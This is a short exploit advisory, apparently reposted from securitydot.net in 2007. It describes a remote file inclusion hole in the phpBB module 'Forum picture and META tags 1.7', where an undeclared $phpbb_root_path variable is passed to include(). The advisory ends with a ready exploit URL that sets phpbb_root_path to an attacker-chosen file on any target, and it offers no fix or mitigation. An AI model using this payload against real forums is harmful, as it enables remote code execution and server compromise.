exploits , vulnerabilities , articles , phpBB MOD Forum picture and META tags 1.7 RFI Vulnerability

Rated as : Moderate Risk

Exploitname: phpBB Module Forum picture and META tags 1.7 File Include
Vulnerability

Vendor:
http://www.rfnnet.nl/downloads/phpbb/MOD_Forum_picture_and_META_tags.zip

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, TheJT, Lu7k, CodeR

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path .
'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit:
http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE
 
securitydot.net - 2007-03-31